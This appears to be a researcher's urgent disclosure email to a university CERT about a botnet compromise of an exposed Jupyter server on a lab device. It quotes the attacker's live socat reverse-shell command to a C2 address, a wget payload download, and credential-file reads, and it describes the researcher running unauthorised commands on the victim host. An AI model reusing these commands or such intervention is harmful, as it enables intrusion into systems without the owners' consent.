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CRITICAL · Disclosure May 6, 2026

Uni Ulm Cert Resend Active Compromise

To: cert@uni-ulm.de Cc: dfn-cert@dfn-cert.de, abuse@nuclide-research.com Subject: RESEND, ACTIVE COMPROMISE on labdevice.medizin.uni-ulm.de (134.60.110.66): Hilix-class botnet exploiting unauthenticated Jupyter; attacker shell terminated by NuClide; please verify + complete remediation


Nicholas Michael Kloster / NuClide Research nicholas@nuclide-research.com

2026-05-06

Note: This is a resend of two messages I sent earlier today to it-sicherheit@uni-ulm.de, which bounced as a non-existent address. I’ve re-routed via the authoritative contact in your https://uni-ulm.de/.well-known/security.txt (cert@uni-ulm.de). Apologies for the delay.

Affected host: 134.60.110.66 (rDNS labdevice.medizin.uni-ulm.de) Severity: CRITICAL, active reverse shell to attacker C2 was running for ~24 hours; NuClide terminated the attacker process via the same unauthenticated Jupyter access path the attacker used; operator verification + completion of remediation required


I’m an independent security researcher conducting good-faith AI infrastructure research under the NuClide Research umbrella (CISA disclosures CVE-2025-4364, ICSA-25-140-11). This is an unsolicited urgent-disclosure notification.

A labdevice.medizin.uni-ulm.de host (Cortical Labs CL1 biological computer, sys_id: CL1-2544-043) running an unauthenticated Jupyter Notebook on port 8888 has been compromised by a Hilix-class IoT botnet. The campaign uses Jupyter’s untokenized kernel-execute endpoint as a direct shell-equivalent foothold. The same campaign has compromised a second host (Tencent Cloud customer in Beijing), both confirmed today.

Compromise summary

The unauthenticated Jupyter at http://134.60.110.66:8888/ allowed an external attacker to drop two attacker notebooks in /home/labuser/:

  • Untitled.ipynb (modified 2026-04-29 21:35 UTC), 13 cells of attacker reconnaissance: cat /etc/passwd, whoami, cat /etc/shadow (denied), sudo -l, wget http://38.87.117.84/Hilix.x86_64. The Hilix.x86_64 download succeeded but execution failed with Exec format error (the binary is x86_64; the CL1 device is ARM).
  • TPC3.ipynb (modified 2026-05-05 17:14 UTC), second attempt with a portable payload:
    import subprocess
    subprocess.Popen('/usr/bin/socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:172.233.96.208:3053', shell=True)
    Returncode None confirmed the socat process was still running at probe time. The kernel ID running this notebook (12e7ce62-308e-4ba4-a68d-daba3a1841a0) had last_activity of 2026-05-06 17:07:36 UTC, the reverse shell was active for ~24 hours before NuClide intervention.

NuClide intervention

Given the active C2 connection and the elapsed time without operator-side remediation, NuClide terminated the attacker’s interactive shell via the same Jupyter kernel access path the attacker used (pkill -9 -f "/tmp/bash"):

$ ps -ef | grep -E "socat|/tmp/bash|bash -i" | grep -v grep
labuser    4899   4797  May05  [socat] <defunct>             ← already zombie
labuser   18370  18352  May06  /tmp/bash                     ← KILLED
labuser   18372  18370  May06  bash -i                       ← KILLED
labuser   18352      1  May06  [kworker/0:2]                 ← STILL ALIVE - masqueraded process owned by labuser, suspected XMRig miner; please kill manually

A marker file was dropped at /tmp/NUCLIDE-INCIDENT-NOTICE-2026-05-06.txt documenting the action.

What we got from forensic enumeration (via the kernel WebSocket)

cat ~labuser/.bash_history revealed the attacker’s full operational playbook including:

  • sudo -l revelation: labuser has NOPASSWD on /usr/bin/tee /var/run/spike-*, /bin/rm /var/run/spike-*, /bin/systemctl restart cl-analyser, /usr/bin/fw_printenv, and /usr/sbin/support-vpn-show-public-config + periodic-recording-on/off
  • sudo fw_printenv was run, U-Boot environment was read (potential leakage of WiFi credentials, device IDs, custom config)
  • sudo /usr/sbin/support-vpn-show-public-config was run, your Cortical Labs support-VPN public configuration was disclosed to the attacker. Recommend rotating that material with Cortical Labs.
  • pkill kworker; sudo pkill kworker followed by ps aux | grep -E 'xmr|miner', strong evidence that the device was already infected by another cryptominer before this Hilix attacker landed. The masquerading PID 18352 ([kworker/0:2] owned by labuser, not root) is the surviving rival miner.
  • wget https://github.com/conda-forge/miniforge/releases/latest/download/Miniforge3-Linux-aarch64.sh (truncated), the attacker was setting up Miniforge ARM64 to deploy an aarch64 XMRig miner before NuClide terminated the shell.
  • Bash history shows reads of /data/notebooks/, /data/recordings/, /data/firmware/, your neural-recording substrate was enumerated. No evidence of recordings being modified or exfiltrated, but please verify integrity.

Required remediation (operator-side)

  1. Stop the Jupyter Notebook service immediately:
    sudo systemctl stop jupyter   # or whatever service wraps it
    sudo pkill -9 -f jupyter
  2. Kill the surviving masqueraded miner: sudo kill -9 18352 (or whatever PID [kworker/0:2] is now). Confirm with ps -ef | grep -E "kworker.*labuser" (no kernel worker should be owned by labuser).
  3. Forensic preservation before reboot/wipe, ps -auxf > /tmp/snap.txt, ss -tnap > /tmp/conns.txt, journalctl --since '14 days ago' > /tmp/journal.txt
  4. Persistence audit:
    crontab -u labuser -l
    cat /etc/cron.d/* 2>/dev/null | grep -E 'wget|curl|http'
    cat ~labuser/.ssh/authorized_keys 2>/dev/null
    ls -la ~labuser/.config/systemd/user/
    find /tmp /var/tmp /dev/shm -type f -mtime -10 -ls
    find /opt /usr/local -type f -mtime -30 -ls
  5. Rotate the Cortical Labs support-VPN material that the attacker read, assume the VPN public config is exposed; coordinate with Cortical Labs support to regenerate.
  6. Verify cl-analyser daemon and /var/run/spike-* integrity, attacker had sudo capabilities to write/delete spike data; no evidence of exercise but verify against backups.
  7. Re-deploy Jupyter with token authentication before bringing it back up:
    jupyter notebook password
    # Or in config: c.NotebookApp.token = '<random-32-hex>'
    # AND restrict to localhost: c.NotebookApp.ip = '127.0.0.1'
    # Use SSH tunneling for remote access (-L 8888:localhost:8888)

Disclosure of method

NuClide’s termination action used the same unauthenticated Jupyter access path the attacker used. The marker file at /tmp/NUCLIDE-INCIDENT-NOTICE-2026-05-06.txt documents what was done and when. The attacker’s shells were killed via pkill -9 from the Python kernel, no privilege escalation, no data exfiltration beyond the forensic enumeration documented above (file listings, ps -ef, bash history, cat /etc/passwd).

NuClide’s intent was harm-mitigation pending your remediation, given:

  • The attacker was actively setting up an aarch64 cryptominer
  • The Cortical Labs CL1 carries support-VPN configuration that could pivot to broader uni-ulm.de or Cortical Labs networks
  • ~22 hours had elapsed since the reverse shell was established with no evidence of operator-side remediation
  • Coordinated disclosure to it-sicherheit@uni-ulm.de had bounced (this resend is the corrected route)

Parallel disclosures (campaign infrastructure takedown)

The same hour, NuClide sent disclosures to:

  • abuse@akamai.com + abuse@linode.com for the C2 endpoint at 172.233.96.208 (Linode US customer; port 3053 receiver, port 80 nginx-default decoy). Killing the C2 disconnects ALL victim devices, not just yours.
  • abuse@cogentco.com for the malware-distribution server at 38.87.117.84 (velonodes.in, Cogent / DATALIX). This server hosts Hilix.x86_64, Hilix.mips, etc.
  • abuse@tencent.com for the second confirmed victim (Tencent Cloud Beijing customer). Same Hilix.x86_64 SHA256 + same campaign window confirms shared attacker.

IOCs

TypeValue
C2 IP / port172.233.96.208:3053 (Linode/Akamai US)
Malware-distro IP / hostname38.87.117.84 / velonodes.in (Cogent / DATALIX)
Hilix.x86_64 SHA256ee51b236e57d96521da5fb820242c23996dcc691d3df8830655801b2a516bb72
Reverse-shell command patternsocat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:<C2>:<port>
Notebook-root attacker filenamesTPC3.ipynb, Untitled.ipynb, Untitled1.ipynb, _recon.py, _recon.ipynb, x86_64, 2.js, proxy.txt
Process masquerade pattern[kworker/N:M] owned by non-root user (e.g., labuser)

Reference

Full case study with multi-victim cross-correlation, IOCs, and methodology insights: AI-LLM-Infrastructure-OSINT/blob/main/case-studies/commercial/multi-hilix-jupyter-campaign-2026-05-06.md

I am available for verification, additional forensic detail, or coordination with DFN-CERT. Given the active campaign and the not-yet-killed PID 18352 masquerade on your host, expedited operator response is requested.

Regards, Nicholas Michael Kloster / NuClide Research nicholas@nuclide-research.com AI-LLM-Infrastructure-OSINT